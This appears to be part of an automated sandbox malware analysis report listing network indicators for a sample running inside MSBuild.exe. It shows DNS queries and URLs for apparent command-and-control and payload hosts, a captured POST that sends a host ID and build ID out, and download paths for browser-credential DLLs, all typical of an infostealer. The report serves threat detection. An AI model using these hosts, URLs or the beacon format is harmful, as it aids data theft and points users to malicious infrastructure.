https://store.steampowered.com/; equals www.youtube.com (Youtube)

Source: global traffic	DNS traffic detected: DNS query: t.me
Source: global traffic	DNS traffic detected: DNS query: kasm.zubairgul.com
Source: global traffic	DNS traffic detected: DNS query: nsdm.cumpar-auto-orice-tip.ro
Source: global traffic	DNS traffic detected: DNS query: exemplarou.sbs
Source: global traffic	DNS traffic detected: DNS query: frizzettei.sbs
Source: global traffic	DNS traffic detected: DNS query: isoplethui.sbs
Source: global traffic	DNS traffic detected: DNS query: bemuzzeki.sbs
Source: global traffic	DNS traffic detected: DNS query: exilepolsiy.sbs
Source: global traffic	DNS traffic detected: DNS query: laddyirekyi.sbs
Source: global traffic	DNS traffic detected: DNS query: invinjurhey.sbs
Source: global traffic	DNS traffic detected: DNS query: wickedneatr.sbs
Source: global traffic	DNS traffic detected: DNS query: steamcommunity.com
Source: global traffic	DNS traffic detected: DNS query: cowod.hopto.org

Source: unknown

HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----KEGIDHJKKJDGCBGCGIJKHost: kasm.zubairgul.comContent-Length: 255Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4b 45 47 49 44 48 4a 4b 4b 4a 44 47 43 42 47 43 47 49 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 31 46 30 30 46 35 44 36 35 43 45 31 36 35 30 34 34 35 35 32 39 2d 61 33 33 63 37 33 34 30 2d 36 31 63 61 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 47 49 44 48 4a 4b 4b 4a 44 47 43 42 47 43 47 49 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 34 61 35 62 63 38 62 37 33 65 31 32 34 32 35 61 64 63 33 63 33 39 39 64 61 38 31 33 36 38 39 31 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 47 49 44 48 4a 4b 4b 4a 44 47 43 42 47 43 47 49 4a 4b 2d 2d 0d 0a Data Ascii: ------KEGIDHJKKJDGCBGCGIJKContent-Disposition: form-data; name="hwid"1F00F5D65CE1650445529-a33c7340-61ca------KEGIDHJKKJDGCBGCGIJKContent-Disposition: form-data; name="build_id"4a5bc8b73e12425adc3c399da8136891------KEGIDHJKKJDGCBGCGIJK--

Source: MSBuild.exe, 00000009.00000002.2217098930.0000000000B51000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://127.0.0.1:27060
Source: MSBuild.exe, 00000001.00000002.2239224281.0000000020578000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2241622984.00000000264E2000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2251682068.000000003E2AE000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2246850104.00000000323C1000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr, softokn3.dll.1.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: MSBuild.exe, 00000001.00000002.2239224281.0000000020578000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2241622984.00000000264E2000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2251682068.000000003E2AE000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2246850104.00000000323C1000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr, softokn3.dll.1.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: MSBuild.exe, 00000001.00000002.2239224281.0000000020578000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2241622984.00000000264E2000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2251682068.000000003E2AE000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2246850104.00000000323C1000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr, softokn3.dll.1.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDCodeSigningCA.crt0
Source: MSBuild.exe, 00000001.00000002.2239224281.0000000020578000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2241622984.00000000264E2000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2251682068.000000003E2AE000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2246850104.00000000323C1000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr, softokn3.dll.1.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: MSBuild.exe, 00000001.00000002.2239224281.0000000020578000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2241622984.00000000264E2000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2251682068.000000003E2AE000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2246850104.00000000323C1000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr, softokn3.dll.1.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: MSBuild.exe, 00000001.00000002.2226316788.000000000059C000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://cowod.hopto
Source: MSBuild.exe, 00000001.00000002.2226316788.000000000059C000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://cowod.hopto.
Source: MSBuild.exe, 00000001.00000002.2226316788.000000000059C000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://cowod.hopto.HIDAEB
Source: MSBuild.exe, 00000001.00000002.2226316788.000000000059C000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://cowod.hopto.org
Source: MSBuild.exe, 00000001.00000002.2227078403.0000000001216000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cowod.hopto.org/
Source: MSBuild.exe, 00000001.00000002.2226316788.000000000059C000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://cowod.hopto.orgAEB
Source: T2bmenoX1o.exe, 00000000.00000002.1811230468.0000000000DDD000.00000004.00000001.01000000.00000003.sdmp, MSBuild.exe, 00000001.00000002.2226316788.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://cowod.hopto.org_DEBUG.zip/c
Source: MSBuild.exe, 00000001.00000002.2226316788.000000000059C000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://cowod.hoptoJKFHCAE
Source: MSBuild.exe, 00000001.00000002.2226316788.000000000059C000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://cowod.multipart/form-data;
Source: MSBuild.exe, 00000001.00000002.2239224281.0000000020578000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2241622984.00000000264E2000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2251682068.000000003E2AE000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2246850104.00000000323C1000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr, softokn3.dll.1.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: MSBuild.exe, 00000001.00000002.2239224281.0000000020578000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2241622984.00000000264E2000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2251682068.000000003E2AE000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2246850104.00000000323C1000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr, softokn3.dll.1.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0O
Source: MSBuild.exe, 00000001.00000002.2239224281.0000000020578000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2241622984.00000000264E2000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2251682068.000000003E2AE000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2246850104.00000000323C1000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr, softokn3.dll.1.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: MSBuild.exe, 00000001.00000002.2239224281.0000000020578000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2241622984.00000000264E2000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2251682068.000000003E2AE000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2246850104.00000000323C1000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr, softokn3.dll.1.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: MSBuild.exe, 00000001.00000002.2239224281.0000000020578000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2241622984.00000000264E2000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2251682068.000000003E2AE000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2246850104.00000000323C1000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr, softokn3.dll.1.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: MSBuild.exe, 00000001.00000002.2239224281.0000000020578000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2241622984.00000000264E2000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2251682068.000000003E2AE000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2246850104.00000000323C1000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr, softokn3.dll.1.dr	String found in binary or memory: http://crl3.digicert.com/sha2-assured-cs-g1.crl05
Source: MSBuild.exe, 00000001.00000002.2239224281.0000000020578000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2241622984.00000000264E2000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2251682068.000000003E2AE000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2246850104.00000000323C1000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr, softokn3.dll.1.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: MSBuild.exe, 00000001.00000002.2239224281.0000000020578000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2241622984.00000000264E2000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2251682068.000000003E2AE000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2246850104.00000000323C1000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr, softokn3.dll.1.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl07
Source: MSBuild.exe, 00000001.00000002.2239224281.0000000020578000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2241622984.00000000264E2000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2251682068.000000003E2AE000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2246850104.00000000323C1000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr, softokn3.dll.1.dr	String found in binary or memory: http://crl4.digicert.com/sha2-assured-cs-g1.crl0K
Source: MSBuild.exe, 00000001.00000002.2227078403.0000000001216000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2227078403.000000000137A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://kasm.zubairgul.com/
Source: MSBuild.exe, 00000001.00000002.2227078403.000000000137A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://kasm.zubairgul.com/J
Source: MSBuild.exe, 00000001.00000002.2227078403.0000000001216000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://kasm.zubairgul.com/freebl3.dll
Source: MSBuild.exe, 00000001.00000002.2227078403.0000000001216000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://kasm.zubairgul.com/freebl3.dlls$
Source: MSBuild.exe, 00000001.00000002.2227078403.0000000001216000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://kasm.zubairgul.com/mozglue.dll
Source: MSBuild.exe, 00000001.00000002.2227078403.0000000001216000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://kasm.zubairgul.com/mozglue.dllP$W
Source: MSBuild.exe, 00000001.00000002.2227078403.0000000001216000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://kasm.zubairgul.com/msvcp140.dll
Source: MSBuild.exe, 00000001.00000002.2227078403.0000000001216000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://kasm.zubairgul.com/msvcp140.dll~$M
Source: MSBuild.exe, 00000001.00000002.2227078403.0000000001216000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://kasm.zubairgul.com/nss3.dll
Source: MSBuild.exe, 00000001.00000002.2227078403.0000000001216000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://kasm.zubairgul.com/softokn3.dll
Source: MSBuild.exe, 00000001.00000002.2227078403.0000000001216000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://kasm.zubairgul.com/sql.dll
Source: MSBuild.exe, 00000001.00000002.2227078403.00000000011B8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://kasm.zubairgul.com/vcruntime140.dll
Source: MSBuild.exe, 00000001.00000002.2227078403.00000000011B8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://kasm.zubairgul.com/vcruntime140.dllK
Source: MSBuild.exe, 00000001.00000002.2226316788.0000000000481000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://kasm.zubairgul.com:80
Source: MSBuild.exe, 00000001.00000002.2226316788.00000000004C0000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://kasm.zubairgul.com:80/sql.dll
Source: MSBuild.exe, 00000001.00000002.2226316788.000000000059C000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://kasm.zubairgul.com:80ontent-Disposition:
Source: MSBuild.exe, 00000001.00000002.2226316788.000000000059C000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://nsdm.cumpar-auto-orice-tip.ro/ldms/a43486128347.exe
Source: MSBuild.exe, 00000001.00000002.2226316788.000000000059C000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://nsdm.cumpar-auto-orice-tip.ro/ldms/a43486128347.exe1kkkk
Source: MSBuild.exe, 00000001.00000002.2227078403.0000000001216000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://nsdm.cumpar-auto-orice-tip.ro/ldms/a43486128347.exeq
Source: MSBuild.exe, 00000001.00000002.2239224281.0000000020578000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2241622984.00000000264E2000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2251682068.000000003E2AE000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2246850104.00000000323C1000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr, softokn3.dll.1.dr	String found in binary or memory: http://ocsp.digicert.com0
Source: MSBuild.exe, 00000001.00000002.2239224281.0000000020578000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2241622984.00000000264E2000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2251682068.000000003E2AE000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2246850104.00000000323C1000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr, softokn3.dll.1.dr	String found in binary or memory: http://ocsp.digicert.com0A
Source: MSBuild.exe, 00000001.00000002.2239224281.0000000020578000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2241622984.00000000264E2000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2251682068.000000003E2AE000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2246850104.00000000323C1000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr, softokn3.dll.1.dr	String found in binary or memory: http://ocsp.digicert.com0C
Source: MSBuild.exe, 00000001.00000002.2239224281.0000000020578000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2241622984.00000000264E2000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2251682068.000000003E2AE000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2246850104.00000000323C1000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr, softokn3.dll.1.dr	String found in binary or memory: http://ocsp.digicert.com0N
Source: MSBuild.exe, 00000001.00000002.2239224281.0000000020578000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2241622984.00000000264E2000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2251682068.000000003E2AE000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2246850104.00000000323C1000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr, softokn3.dll.1.dr	String found in binary or memory: http://ocsp.digicert.com0X
Source: MSBuild.exe, 00000009.00000002.2217014896.0000000000B46000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://store.steampowered.com/account/cookiepreferences/
Source: MSBuild.exe, 00000009.00000002.2217014896.0000000000B46000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://store.steampowered.com/privacy_agreement/
Source: MSBuild.exe, 00000009.00000002.2217014896.0000000000B46000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://store.steampowered.com/subscriber_agreement/
Source: Amcache.hve.4.dr	String found in binary or memory: http://upx.sf.net
Source: MSBuild.exe, 00000001.00000002.2239224281.0000000020578000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2241622984.00000000264E2000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2251682068.000000003E2AE000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2246850104.00000000323C1000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr, softokn3.dll.1.dr	String found in binary or memory: http://www.digicert.com/CPS0
Source: MSBuild.exe, MSBuild.exe, 00000001.00000002.2241622984.00000000264E2000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2257843409.000000006CBCD000.00000002.00000001.01000000.00000009.sdmp, mozglue.dll.1.dr, mozglue[1].dll.1.dr	String found in binary or memory: http://www.mozilla.com/en-US/blocklist/
Source: MSBuild.exe, 00000001.00000002.2231134063.000000001A2AE000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2239039820.000000002024D000.00000002.00001000.00020000.00000000.sdmp, sql[1].dll.1.dr	String found in binary or memory: http://www.sqlite.org/copyright.html.
Source: HJEHIJ.1.dr	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: MSBuild.exe, 00000009.00000002.2217098930.0000000000B51000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.steampowered.com/
Source: MSBuild.exe, 00000001.00000002.2227078403.0000000001216000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2227078403.000000000137A000.00000004.00000020.00020000.00000000.sdmp, KJDGDB.1.dr	String found in binary or memory: https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.
Source: MSBuild.exe, 00000001.00000002.2227078403.0000000001216000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2227078403.000000000137A000.00000004.00000020.00020000.00000000.sdmp, KJDGDB.1.dr	String found in binary or memory: https://bridge.lga1.ap01.net/ctp?version=16.0.0&key=1696332238301000001.1&ci=1696332238417.12791&cta
Source: MSBuild.exe, 00000009.00000002.2217098930.0000000000B51000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://broadcast.st.dl.eccdnx.com
Source: MSBuild.exe, 00000009.00000002.2217098930.0000000000B51000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdn.akamai.steamstatic.com/steamcommunity/public/assets/
Source: HJEHIJ.1.dr	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: HJEHIJ.1.dr	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: HJEHIJ.1.dr	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: MSBuild.exe, 00000009.00000002.2217098930.0000000000B51000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://checkout.steampowered.com/
Source: MSBuild.exe, 00000009.00000002.2217098930.0000000000B51000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/
Source: MSBuild.exe, 00000009.00000002.2217098930.0000000000B48000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/css/applications/community/main.css?v=Ev2sBLgkgyWJ&a
Source: MSBuild.exe, 00000009.00000002.2217014896.0000000000B46000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/images/skin_1/footerLogo_valve.png?v=1
Source: MSBuild.exe, 00000009.00000002.2217014896.0000000000B46000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/applications/community/libraries~b28b7af6
Source: MSBuild.exe, 00000009.00000002.2217014896.0000000000B46000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/applications/community/main.js?v=10oP_O2R
Source: MSBuild.exe, 00000009.00000002.2217014896.0000000000B46000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/applications/community/manifest.js?v=cdfm
Source: MSBuild.exe, 00000001.00000002.2227078403.0000000001216000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2227078403.000000000137A000.00000004.00000020.00020000.00000000.sdmp, KJDGDB.1.dr	String found in binary or memory: https://contile-images.services.mozilla.com/0TegrVVRalreHILhR2WvtD_CFzj13HCDcLqqpvXSOuY.10862.jpg
Source: MSBuild.exe, 00000001.00000002.2227078403.0000000001216000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2227078403.000000000137A000.00000004.00000020.00020000.00000000.sdmp, KJDGDB.1.dr	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: HJEHIJ.1.dr	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: HJEHIJ.1.dr	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: HJEHIJ.1.dr	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: MSBuild.exe, 00000009.00000002.2217098930.0000000000B51000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://help.steampowered.com/
Source: KJDGDB.1.dr	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4QqmfZfYfQfafZbXfpbWfpbX7ReNxR3UIG8zInwYIFIVs9eYi
Source: MSBuild.exe, 00000009.00000002.2217098930.0000000000B51000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.steampowered.com/
Source: MSBuild.exe, 00000009.00000002.2217098930.0000000000B51000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lv.queniujq.cn
Source: MSBuild.exe, 00000009.00000002.2217098930.0000000000B51000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://medal.tv
Source: MSBuild.exe, 00000001.00000002.2239224281.0000000020578000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2241622984.00000000264E2000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2251682068.000000003E2AE000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2246850104.00000000323C1000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr, softokn3.dll.1.dr	String found in binary or memory: https://mozilla.org0/
Source: MSBuild.exe, 00000009.00000002.2217098930.0000000000B51000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://player.vimeo.com
Source: MSBuild.exe, 00000009.00000002.2217098930.0000000000B51000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://recaptcha.net
Source: MSBuild.exe, 00000009.00000002.2217098930.0000000000B51000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://recaptcha.net/recaptcha/;
Source: MSBuild.exe, 00000009.00000002.2217098930.0000000000B51000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://s.ytimg.com;
Source: MSBuild.exe, 00000009.00000002.2217098930.0000000000B51000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sketchfab.com
Source: MSBuild.exe, 00000009.00000002.2217098930.0000000000B51000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steam.tv/
